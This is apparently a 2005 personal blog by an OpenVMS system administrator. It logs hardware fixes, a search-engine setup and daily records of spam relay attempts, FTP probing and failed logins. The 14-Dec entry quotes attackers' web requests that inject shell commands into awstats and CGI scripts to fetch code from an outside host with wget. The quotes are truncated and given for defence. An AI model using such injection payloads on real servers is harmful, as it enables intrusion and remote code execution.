20-DEC-2005 08:23:57.51 NOSPAMRLY 220.133.92.35 x9.x9@msa.hinet.net

Yahoo has been banned alltogether, and hinet.net is known to be a Chinese ISP - realted to daum.net, as I found out already. Given the name here (x9.x9!) appears to be a disguise, probably.

None for 21-Dec-2005? Yes, there werse some disconnections, and these don't show up in this list.

No FTP intrusion attempts this time.

Wednesday, December 21

21-Dec-2005

Hardware problems
HSZ50 has been initialized and port alloocation classes set - Diana can be started, but both Daphne and Dido wont' even startup in console mode - ends up in " e6...." and then give s list of addresses, anding with this text:

fe.fd.fc.fb.fa.f9.f8.breakpoint expected at PC110940, XDELTA not loaded
f7.f6.f5.
ef.de.ee.ed.ec.f4.eb.esa.e9.e8.e7.e6....

and nothing will happen.

Diana could boot, will see all disks as $1$ - it's own (standard) allocation class, MSCP parameters are:
SYSGEN> SHO MSCP
Parameter Name Current Default Min. Max. Unit Dynamic
-------------- ------- ------- ------- ------- ---- -------
MSCP_LOAD 1 0 0 16384 Coded-valu
MSCP_SERVE_ALL 2 4 0 15 Bit-Encode
MSCP_BUFFER 1024 1024 256 -1 Coded-valu
MSCP_CREDITS 32 32 2 1024 Coded-valu
MSCP_CMD_TMO 0 0 0 2147483647 Seconds D

but SYS$DEVICES.DAT contains the right code:

[Port DIANA$PKB]
allocation class 116

and the devices can not be accessed:

$ init dkb100
_Label: alpha082
%INIT-F-MEDOFL, medium is offline
$


Have to dig through the manulas to find out why....(or someone to tell me)

The weird thing is: the Aplhastations could be started one moment, and booted, where the shared SCSI disks could not be initialized during startup. But after all has een switched off, things go wrong - severely.

Security
Not checked today...

Sunday, December 18

18-Dec-2005

Security report
A few mail:

16-DEC-2005 00:35:48.68 NOSPAMRLY 125.188.61.77 gjwns_11@daum.net
16-DEC-2005 12:52:29.86 CLNTINRBL 72.16.210.65
17-DEC-2005 01:40:19.40 NOSPAMRLY 125.188.61.77 gjwns_44@daum.net
17-DEC-2005 02:01:15.58 BADMF nrichter@gmail.com
17-DEC-2005 05:37:14.79 CLNTINRBL 24.130.218.50
17-DEC-2005 18:40:26.25 CLNTINRBL 62.205.168.13
17-DEC-2005 20:28:17.52 CLNTINRBL 202.127.23.56
17-DEC-2005 20:28:33.48 CLNTINRBL 212.217.30.194
17-DEC-2005 20:51:45.56 NOSPAMRLY 125.188.61.77 gjwns_11@daum.net
18-DEC-2005 00:43:17.11 CLNTINRBL 24.29.173.66
18-DEC-2005 00:43:24.30 CLNTINRBL 218.242.35.16
18-DEC-2005 00:43:54.12 CLNTINRBL 202.180.103.77
18-DEC-2005 03:39:43.97 CLNTINRBL 69.242.93.81


and one attempt using anonymous FTP (a script as usual)

%%%%%%%%%%% OPCOM 17-DEC-2005 02:43:39.01 %%%%%%%%%%%
Message from user TCPIP$FTP on DIANA
User Name: anonymous
Source: 233-139.240.81.adsl.skynet.be
Status: NOPRIV -- File access violation
Object: WEB_DISK:[public.anonymous.051217024339p]


Short time, just over 4 seconds:

17-DEC-2005 02:43:38.31 User:anonymous logged in ident:Zgpuser@home.com from Host:233-139.240.81.adsl.skynet.be
17-DEC-2005 02:43:38.88 User:anonymous ident:Zgpuser@home.com status:00010001 CWD dir:WEB_DISK:[public.anonymous]
17-DEC-2005 02:43:39.07 User:anonymous ident:Zgpuser@home.com status:07649912 CWD dir:SYS$POSIX_ROOT^:pub
17-DEC-2005 02:43:42.49 User:anonymous ident:Zgpuser@home.com logged out

but, as usual, the normal Windows (IIS) and Linux (Apache) attempts:

%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from
233-139.240.81.adsl.skynet.be at 17-DEC-2005 02:43:38.09
%TCPIP-I-FTP_NODE, client host name: 233-139.240.81.adsl.skynet.be
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: WEB_DISK:[public.anonymous.051217024339p]
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC00023: Failed to create directory
%SYSTEM-F-NOPRIV, insufficient privilege or object protection violation
%TCPIP-I-FTP_NODE, client host name: 233-139.240.81.adsl.skynet.be
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: SYS$POSIX_ROOT^:pub
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC00023: Failed to set default directory
%TCPIP-E-FTP_BADDIR, invalid directory%TCPIP-I-FTP_NODE,
client host name: 233-139.240.81.adsl.skynet.be
%TCPIP-I-FTP_USER, user name: anonymous

and the obvious other locatiojns:

%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /pub/images /pub/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /pub/_vti_txt/
%TCPIP-I-FTP_OBJ, object: /wwwroot/
%TCPIP-I-FTP_OBJ, object: /wwwroot/incoming/
%TCPIP-I-FTP_OBJ, object: /wwwroot/pub/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /incoming/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /upload/
%TCPIP-I-FTP_OBJ, object: /_vti_cfg/
%TCPIP-I-FTP_OBJ, object: /_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /_vti_txt/
%TCPIP-I-FTP_OBJ, object: /_vti_log/
%TCPIP-I-FTP_OBJ, object: /wwwroot/
%TCPIP-I-FTP_OBJ, object: /www/
%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /anonymous/incoming/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /anonymous/pub/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/
%TCPIP-I-FTP_OBJ, object: /anonymous/
%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /cgibin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /in/
%TCPIP-I-FTP_OBJ, object: /html/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /cgibin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /public_html/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /~tmp/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/
%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /upload/

%TCPIP-I-FTP_SESDCN, FTP SERVER: session disconnection from
233-139.240.81.adsl.skynet.be at 17-DEC-2005 02:43:42.58


No harm done (of course)

Thursday, December 15

15-Dec-2005

Seti's last day
Today the calssic SETI sites closes, so what will happen to the last calculated result, remains unsure. The alternative: BOINC (Berkeley Open Infrastructure for Network Computing) is Linux, Windows and Mac-OSX (FreeBSD, in fact) only (that's why it's called "open" - there is support for more than one properiaty OS). The new agents run on Athene and Aphrodite but connecting to the Seti site is troublesome, for several reasons (hardware and database trouble, according the site).
It seems that the seti client of 08-Aug-2005 can be used on OpenVMS so I downloaded the code to compile. Newer versions require other libraries and re-design (fork won't work). If it really is too much trouble, it's bye-bye to Seti on VMS - and the other systems as well.
Security report
Mail only, today:
15-DEC-2005 05:03:25.33 NOSPAMRLY 125.188.61.77 gjwns_11@daum.net
15-DEC-2005 13:35:36.64 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net
15-DEC-2005 15:59:47.60 CLNTINRBL 213.213.216.73
This one continues for every 5-10 minutes until
15-DEC-2005 16:05:39.37 CLNTINRBL 213.213.216.73
15-DEC-2005 16:32:37.86 CLNTINRBL 213.141.158.69
15-DEC-2005 21:57:38.36 NOSPAMRLY 217.149.193.37 new_openrelay_test@internl.net

Wednesday, December 14

14-Dec-2005

System management
There are new Windows updates available, so I updated Hera and Athene, and defragmented the disks. This caused Hera to malfuntion on reboot, but just once. Networked processing on Athene keeps giving hicks and ticks...

Security (web)
Checked web access log on Diana - the main one, that is. Last cycle has been in august, so it's time to take a look. Checked for CONNECT, found two (failed, of course) and POST. There, I found my own ones, of course, sending mail from elsewhere using webmail, but some unwanted addresses as well - warning me what to care for. I still have to dig down the following addresses, that tried to GET or POST things I do not have on the system - at the moment:

10-Nov-2005: 66.162.153.140
11-Nov-2005: 69.90.74.118
12-Nov-2005: 61.95.199.46
13-Nov-2005: 69.57.140.25
15-Nov-2005: 84.134.236.208, 81.80.172.225

16-Nov-2005: 217.78.63.15
17-Nov-1005: 64.109.216.229

19-Nov-2005: 211.214.161.159, 84.73.105.43, 82.234.215.180
21-Nov-2005: 138.80.0.10, 66.38.145.65
26-Nov-2005: 209.128.104.183

27-Nov-2005: 81.235.128.195
28-Nov-2005: 81.235.128.195
29-Nov-2005: 202.101.165.61
01-Dec-2005: 219.239.227.58
09-Dec-2005: 202.101.165.61

According timing (not given) these all must have run scripts. Except, perhaps, for one:

POST /_vti_bin/_vti_aut/author.dll

the rest is contain one or more of the following:

GET /path/awstats.pl?configdir=echo;echo%20YYY;cd%20%2ftmp%3bwget%20...
POST /path/xmlrpc.php
GET /path/includer.cgi?cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS\"`62.101.193.244...
GET /path/hints.pl?cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS\"`62.101.193.244/lup...
GET /path/webhints.pl?cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS\"`62.101.193.244/lup...

in a number of paths and formats. I guess the address on awstats access is 62.101.193.244 as well, or something in that range.
I still have to fully investigate all addresses and strings since my view was just 132 characters, but I'm warned (and others as well, I hope) before installation!

Security (mail)
Just a few, today:

14-DEC-2005 02:48:16.21 CLNTINRBL 24.177.139.8
14-DEC-2005 02:48:56.62 CLNTINRBL 85.169.44.48
14-DEC-2005 02:49:01.26 CLNTINRBL 222.48.36.84
14-DEC-2005 14:10:13.58 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net
14-DEC-2005 17:59:06.66 CLNTINRBL 81.57.1.48

Tuesday, December 13

13-Dec-2005

Search works
After I have increased pgflquo to 2.000.000, the digging program did no longer crash and the merger could finish. The search pages has been added to the web and it works great.
The merger program stopped displaying "Process quota exceeded". Just as a coincidence, the status register of the digger crash was similar:

$ write sys$output f$message (%x1b)
%SYSTEM-I-EXQUOTA, process quota exceeded
$


Security:
Just the obvious mail trouble of (failed) relay attempts and advertisement (at least, I assume it is):

13-DEC-2005 00:37:14.69 NOSPAMRLY 125.188.61.77 gjwns_44@daum.net
13-DEC-2005 04:49:39.32 CLNTINRBL 67.8.212.182
13-DEC-2005 12:23:54.18 BADMF thomas@yahoo.com
13-DEC-2005 12:23:56.53 BADMF thomas@yahoo.com
13-DEC-2005 12:23:58.90 BADMF thomas@yahoo.com

Yahoo will retry three times - and stop. Good!

13-DEC-2005 14:21:08.14 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net
13-DEC-2005 15:08:46.54 CLNTINRBL 218.16.183.245
13-DEC-2005 15:09:47.20 CLNTINRBL 82.234.211.113
13-DEC-2005 15:10:53.31 CLNTINRBL 67.120.31.221
13-DEC-2005 18:54:12.54 CLNTINRBL 24.232.103.237
13-DEC-2005 19:24:45.20 NOSPAMRLY 58.236.182.42 hisyw1@empal.com
13-DEC-2005 21:17:30.83 NOSPAMRLY 125.188.61.77 gjwns_11@daum.net
13-DEC-2005 21:55:41.21 BADMF robert@yahoo.com
13-DEC-2005 21:55:43.41 BADMF robert@yahoo.com
13-DEC-2005 21:55:46.47 BADMF robert@yahoo.com

Monday, December 12

12-Dec-2005

Search, again
The search project goes on; by reading the docs and deducting what's in there and what I see, document analysis does finally start, but the program crashes at, or near the end:

...
pick: axzu01, # servers = 1
%SYSTEM-F-ACCVIO, access violation, reason mask=04,
virtual address=000000007AE5DFF0, PC=FFFFFFFF80836EA4, PS=0000001B
Improperly handled condition, image exit forced.
Signal arguments: Number = 0000000000000005
Name = 000000000000000C
0000000000000004
000000007AE5DFF0
FFFFFFFF80836EA4
000000000000001B
Register dump:
R0 = 0000000000158264 R1 = 0000000001783A58 R2 = 000000007C05FEB0
R3 = 0000000001783A60 R4 = 0000000000001214 R5 = 00000000017F5630
R6 = 0000000000000001 R7 = 0000000000000000 R8 = 0000000000032778
R9 = 00000000000D5F70 R10 = 0000000000032778 R11 = 0000000000000007
R12 = 0000000000000000 R13 = 000000007C358088 R14 = 000000000000000C
R15 = 0000000000000001 R16 = 0000000001783A60 R17 = 000000007B638000
R18 = 0000000000000035 R19 = 000000007B6381B0 R20 = 0000000077770000
R21 = 0000000000000000 R22 = FFFFFFFF77773500 R23 = 00049494017833B8
R24 = 000000000002404D R25 = 0000000000000001 R26 = FFFFFFFF80A09CF4
R27 = 000000007B5FB3B0 R28 = FFFFFFFF80AEDDE0 R29 = FFFFFFFF810C1D80
SP = 000000007AE6C000 PC = FFFFFFFF80836EA4 PS = 000000000000001B


and the search results were cleared.
Put a SET NOON in the procedure to continue. This second run also crashed but merge started - and ended as well because of an error:

...
htmerge: 22800:zorgt
htmerge: 22900:zzei
%DEBUGBOOT-W-EXQUOTA, process quota exceeded
%CXXL-F-TERMINATE, terminate() or unexpected() called


and again, search results are dropped.
Well, obvious if pagefilequota is just the default 50.000....

Hardware Configuration
Hooked up the BA356 with 36Gb disk onto the HSZ50, added all disks in the configuration, but couldn't specify a LUN to them. Asked ITRC, and got a hint and found the answer in the manual: SET HOST ID=(list of ID's). In another forum, this answer was given as well but I learned about it after I succeeded. Now it's Ok, but there was no time left to actually check from SRM of either Daphne or Dido (both are now connected, Diana still to be done)

Security
No issues but the regular mail trouble. Since 7-Dec-2005 the following entries:

8-DEC-2005 02:52:27.90 NOSPAMRLY 211.191.67.126 hisyw9@hanmail.net
8-DEC-2005 12:34:17.18 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net


HANMAIL.NET and DAUM.NET are some Chinese ISP or Internet cafes that tries to abuse the mailserver time after time again....

8-DEC-2005 13:45:22.91 BADMF internetnewsecure03@yahoo.com


One of the reasons why Yahoo and GMAIL have been blocked is advertising. More to come. Perhaps I would have to block hotmail as well, I get a lot of rubbish from there as well.

8-DEC-2005 18:51:10.27 NOSPAMRLY 221.140.55.88 smtphunter22@daum.net
8-DEC-2005 21:55:28.54 NOSPAMRLY 217.149.193.37 new_openrelay_test@internl.net

My own ISP testing to see if relay is still limited to my own domain (of course it is, as you can see)

8-DEC-2005 23:23:11.21 BADMF nicholas@yahoo.com
8-DEC-2005 23:23:12.78 BADMF nicholas@yahoo.com
8-DEC-2005 23:23:14.38 BADMF nicholas@yahoo.com
9-DEC-2005 06:51:14.95 CLNTINRBL 200.126.72.36
9-DEC-2005 15:27:59.97 NOSPAMRLY 221.169.56.134 support@microsoft.com

This isn't Microsoft, but (probably) a virus sending this messsage, or someone explicitly trying to send it.

9-DEC-2005 15:40:54.33 CLNTINRBL 61.52.54.158
9-DEC-2005 21:41:13.10 CLNTINRBL 194.54.160.2
10-DEC-2005 00:51:05.74 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net
10-DEC-2005 05:43:05.87 CLNTINRBL 61.73.82.173
10-DEC-2005 21:05:32.54 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net
11-DEC-2005 06:14:39.41 CLNTINRBL 80.58.219.218
11-DEC-2005 06:17:10.34 CLNTINRBL 80.58.219.218
11-DEC-2005 06:19:10.67 CLNTINRBL 80.58.219.218
11-DEC-2005 07:44:56.46 BADMF peter@yahoo.com
11-DEC-2005 07:44:58.76 BADMF peter@yahoo.com
11-DEC-2005 07:45:01.38 BADMF peter@yahoo.com
11-DEC-2005 11:40:16.40 NOSPAMRLY 125.188.61.77 gjwns_44@daum.net
11-DEC-2005 17:03:55.58 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net
11-DEC-2005 18:15:34.44 CLNTINRBL 68.48.205.77
12-DEC-2005 06:09:32.91 CLNTINRBL 12.216.245.83
12-DEC-2005 07:20:29.66 CLNTINRBL 12.214.244.98
12-DEC-2005 15:09:15.67 NOSPAMRLY 221.140.55.86 smtphunter22@daum.net
12-DEC-2005 18:37:41.37 CLNTINRBL 70.122.89.73
12-DEC-2005 18:37:48.67 BADMF first760@gmail.com
12-DEC-2005 21:56:04.30 NOSPAMRLY 217.149.193.37 new_openrelay_test@internl.net


Off office next week, I'll have time to investigate the others.

Thursday, December 8

08-Dec-2005

Searching....
It has been requested to find a way to search documents - presented on a browser but not contained (for security reasons) in a web. To present them, a CGI script and an output generator is used, that creates in-memory HTML pages - never stored - containing the data - an the links to the documents, and display of the documents is done by that path again.
Downloaded ht://dig - which is available for VMS here and with some editing of the configuration file, the public web could be indexed - but not a separate, non-web path. Not entirely Ok, some error, but nevertheless....There must be ways to do so, according the FAQ, but how to get that done on VMS....
How to setup the search page - next thing to solve.
Hickups in telnet from Athene
using telnet on athene is still problametic - it works for some time and all of a sudden it becomes too hicky to be workable. Moving the window helps - as if the system waits to display the screen. It might be a matter of video memory, this is shared with the applications (remeber it's just a laptop...). It's not the network -
had it monitored using Ethereal.
No security issues, but...
there was a vast number of messages from an address that is in a blacklist:

7-DEC-2005 21:40:22.89 CLNTINRBL 68.22.229.41
...
7-DEC-2005 22:03:20.37 CLNTINRBL 68.22.229.41

with intervals ranging from 7 to 20 seconds. A virus? or jus a mail bomb?

Monday, December 5

05-Dec-2005

Hardware changed
Diana had the last VMS patches installed and I thought it a good moment to swap some hardware: DSSI out, Differential SCSI in, plus a second NIC, and CD-RW drive on the IDE bus. With some trouble (had to remove all and add one by one since the system didn't even boot, just gave some beeps and had to be powered down, even keyboard was dead!) it all worked finally - the only change in the configuration is that the Differential SCSI controller is now PQB and the originally second NEC810 controller is now PKC - which required all DKB devices to be renamed DKC. Will, it's VMS - just changing one file did the trick.
Of course it's not all 100%. I loosened one connector on the board when adding the IDE cable so network didn't work - no connection at all, and the old CD however is causing some trouble now (it could read, what seemed to be a problem sometimes previously) it won't keep closed. After I kind of forced it so, it won't open ...Just humming during startup. Pushing the button doesn't work either. Still have to check the tape unit to see if thgis is a generic problem with the internal bus - the ouside connections (BA356 with the disks that contains the webs and user environments) work well. It's not that important: the IDE disk is usable so I won't be needing the SCSI CD.
Good part: INIT on reboot does NOT remove the new controller so I will be able to boot from it!
CRASH
Next looking into the fact why TOMCAT doesn't start in batch, according accounting and audit because of some RMS error, I enabled logging but couldn't find anything but the startup program that starts the detached process. Started it manually - as usual, and all of a sudden, Diana crashed: Machine check, and current is APACHE$TOMCAT running JAVA$JAVA.EXE. Hurray - now I have a crash dump to find out why the extra 256Mb internal memory give so much trouble!
Of course it was removed again and Diana was humming happuly as usual.
CD burn - So sloooooooooooooooooooooooooowwwww
Copying an audio CD on Aphrodite takes HOURS for the last track. I'm curious what it will sound like...

Saturday, December 3

03-Dec-2005

Mail trouble solved
The reason of yesterday's mail trouble (and the day before) has been located: though Outlook appeared to be not running on Aphrodite (no window on screen nor was there an entry on the task bar) it looks as if it was still active as a service. At least, starting Outlook showd the messages I could find in VMSmail's WASTEBASKET - a signal the message was actually read. I stopped Aphrodite and the problem was gone...
Downloads
Done downloads of CVS and accompanying (required) software - and binaries - from the Dutch Technical University in Delft, they have a rather large repository of software ported to VMS at this location, click any of the two links, the result in text is the same but, on VMS use the second one because CWB seems more happy (unless you love a hefty pink color scheme).
I also fot the latest patches for both VMS 7.3-2 and 8.2 (Alpha) that will be installed this weekend.

Thursday, December 1

01-dec-2005

Mail bomb?
Good to have RBL's installed. Today's log showed:

1-DEC-2005 09:31:07.06 CLNTINRBL 211.191.67.126

and 152 more , every 3 secords or so, and some quite time, until:

1-DEC-2005 13:52:34.77 CLNTINRBL 211.191.67.126

This address is Korean, but the English translation shown is:

KRNIC is not an ISP but a National Internet Registry similar to APNIC.The followings is organization information that is using the IPv4 address.

IPv4 Address : 211.191.67.0-211.191.67.255
Network Name : SHINBIRO-INFRA
Connect ISP Name : SHINBIRO
Connect Date : 20020605
Registration Date : 20031019
Publishes : Y

[ Organization Information ]
Organization ID : ORG2324
Org Name : ONSE Telecom
Address : Gumi-dong, Seongnam Si Bundang-gu, GYEONGGI-DO
Detail address : 192-2
Zip Code : 463-500

[ Technical Contact Information ]
Name : IP Manager
Org Name : ONSE Telecom
Address : Gumi-dong, Seongnam Si Bundang-gu, GYEONGGI-DO
Detail address : 192-2
Zip Code : 463-500
Phone : +82-31-738-6421
E-Mail : onse-ip@matrix.shinbiro.com

They can be contacted:

[ ISP Network Abuse Contact Information ]
Name : Network abusePhone : +82-31-738-6417
E-Mail : abuse@shinbiro.com

so that will be attempted.

Other mail trouble
Mail does arrive, but it is not shown in the webmail client, not will a message show up when logging in. As found, the mail is retrived by Aphrodite (is up and running) , but Outlook has not started...The messages are in the Wastebasket folder, so who picks them up and doesn't leave them there? Perhaps CommunigatePro on Io?

FTP Log not complete
Something has gone wrong in transferring the FTP logging to the web so extracting data off-site is not possible; The latest attempts to push things onto the system have been logged, but the log that is accessable using the web, doesn't show them. The information will be updated later this week.

More break-in attempts found
I scanned the audit jornal and found more interesting breakin attempts. Somehow, these don't show up in operator.log, what I really would like, so I will have to look in the system managers guide to find out how that can be done.

I extracted from 01-Jan-2005, have it edited somewhat, since some are either local (of no interest) and some are known. The result of this leaves the attempts of FTP, TELNET and HTTP that I did not yet see:

Auditable event: Network login failure (FTP)
Event time: 2-JAN-2005 02:41:11.90
Remote node fullname: 61-218-176-6.HINET-IP.hinet.net
Status: %LOGIN-F-NOEXTAUTH, external authentication service disabled or unavailable

Auditable event: Network login failure (FTP)
Event time: 3-APR-2005 08:17:08.78
Remote node fullname: relay.studenten.net
Status: %LOGIN-F-NOEXTAUTH, external authentication service disabled or unavailable

Auditable event: Network login failure (FTP)
Event time: 16-APR-2005 22:06:07.90
Username: anonymous@ft
Remote node fullname: toronto-HSE-ppp4325250.sympatico.ca
Status: %LOGIN-F-NOSUCHUSER, no such user

Auditable event: Remote interactive login failure (TELNET)
Event time: 7-JUN-2005 14:43:45.76
Username:
Remote node fullname: 12.160.197.66
Status: %LOGIN-F-CMDINPUT, error reading command input


(This address is owned by:

AT&T WorldNet Services ATT (NET-12-0-0-0-1)
12.0.0.0 - 12.255.255.255
STARWOOD HOTELS STARWOOD32-197-64 (NET-12-160-197-64-1)
12.160.197.64 - 12.160.197.127
# ARIN WHOIS database, last updated 2005-12-01 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database

This is where I stayed that time, so this this is me, from the US (VMS Bootcamp))

Auditable event: Network login failure (FTP)
Event time: 25-JUL-2005 12:03:54.37
Remote node fullname: wf100.internetdsl.tpnet.pl
Status: %LOGIN-F-NOEXTAUTH, external authentication service disabled or unavailable

Auditable event: Remote interactive login failure (TELNET)
Event time: 9-SEP-2005 17:20:34.41
Username: SYSTEM
Remote node fullname: 62.59.190.14
Status: %LOGIN-F-INVPWD, invalid password

Who is 62.59.190.14:

inetnum: 62.59.190.0 - 62.59.190.127
netname: VERSATEL-DIAL-PRETIUM-ROTTERDAM-1
descr: Versatel Pretium customer
country: NL
admin-c: VT1029-RIPE
tech-c: VT1029-RIPE
status: ASSIGNED PA
mnt-by: AS13127-MNT
source: RIPE # Filtered

role: VT HOSTMASTER
address: Hullenbergweg 101
address: 1101 CL Amsterdam ZuidOost
address: The Netherlands
remarks: trouble: For ZON related abuse issues please contact abuse@zonnet.nl
remarks: trouble: For all abuse issues please contact abuse@versatel.net

Ok, abuse should be signalled. So I will - but it is a bit late, perhaps...

Auditable event: Remote interactive login failure (TELNET)
Event time: 11-SEP-2005 21:16:51.38
Username: <login>
Remote node fullname: xxxxxx.grootersnet.nl.ccc.bbb.aaa.in-addr.arpa
Status: %LOGIN-F-CMDINPUT, error reading command input

Auditable event: Remote interactive login failure (TELNET)
Event time: 11-SEP-2005 21:16:58.13
Username: <login>
Remote node fullname: yyyyyy.grootersnet.nl.ccc.bbb.aaa.in-addr.arpa
Status: %LOGIN-F-CMDINPUT, error reading command input

These two are very, very weird. Both xxxxxx.grootersnet.nl and yyyyy.grootersnet.nl are DNS entries at my ISP so I can access my desk and mail via the web, using my normal IP address, and these are virtual webs in Apache., and aaa.bbb.ccc.0 is my intranet-address, where these are known as "xxxxxx"and "yyyyyy". So there are no real nodes with these names
(Obviously, for security reasons, I have changed the names)


Auditable event: Network login failure (FTP)
Event time: 16-OCT-2005 02:55:17.88
Username: test
Remote node fullname: sipco92.sipco.fr
Status: %LOGIN-F-NOSUCHUSER, no such user

Repeated a number of times, every 200 miliseconds or so:

Event time: 16-OCT-2005 02:55:18.12
Event time: 16-OCT-2005 02:55:18.38
Event time: 16-OCT-2005 02:55:18.61
Event time: 16-OCT-2005 02:55:19.13
Event time: 16-OCT-2005 02:55:19.39
Event time: 16-OCT-2005 02:55:19.70
Event time: 16-OCT-2005 02:55:19.94
Event time: 16-OCT-2005 02:55:20.20
Event time: 16-OCT-2005 02:55:20.44
Event time: 16-OCT-2005 02:55:20.71
Event time: 16-OCT-2005 02:55:20.95
Event time: 16-OCT-2005 02:55:21.19
Event time: 16-OCT-2005 02:55:21.43
Event time: 16-OCT-2005 02:55:21.68
Event time: 16-OCT-2005 02:55:21.92

Remember this one? See log of 16-Oct-2005.

The last one - that wasn't noticed (because these audits don't show up in operator.log yet)

Auditable event: Network login failure (FTP)
Event time: 17-NOV-2005 05:18:43.54
Username: test
Remote node fullname: dslb-084-057-128-227.pools.arcor-ip.net
Status: %LOGIN-F-NOSUCHUSER, no such user

repeated a number of times, again, evere 200 miliseconds:

Event time: 17-NOV-2005 05:18:43.87
Event time: 17-NOV-2005 05:18:44.09
Event time: 17-NOV-2005 05:18:44.29
Event time: 17-NOV-2005 05:18:44.50
Event time: 17-NOV-2005 05:18:44.71
Event time: 17-NOV-2005 05:18:44.91
Event time: 17-NOV-2005 05:18:45.13
Event time: 17-NOV-2005 05:18:45.33
Event time: 17-NOV-2005 05:18:45.52
Event time: 17-NOV-2005 05:18:45.71
Event time: 17-NOV-2005 05:18:45.89
Event time: 17-NOV-2005 05:18:46.21
Event time: 17-NOV-2005 05:18:46.40
Event time: 17-NOV-2005 05:18:46.59
Event time: 17-NOV-2005 05:18:46.79


and since the FTP_RUN log hasn't been updated I cannot look into it.
Trying to get the system down?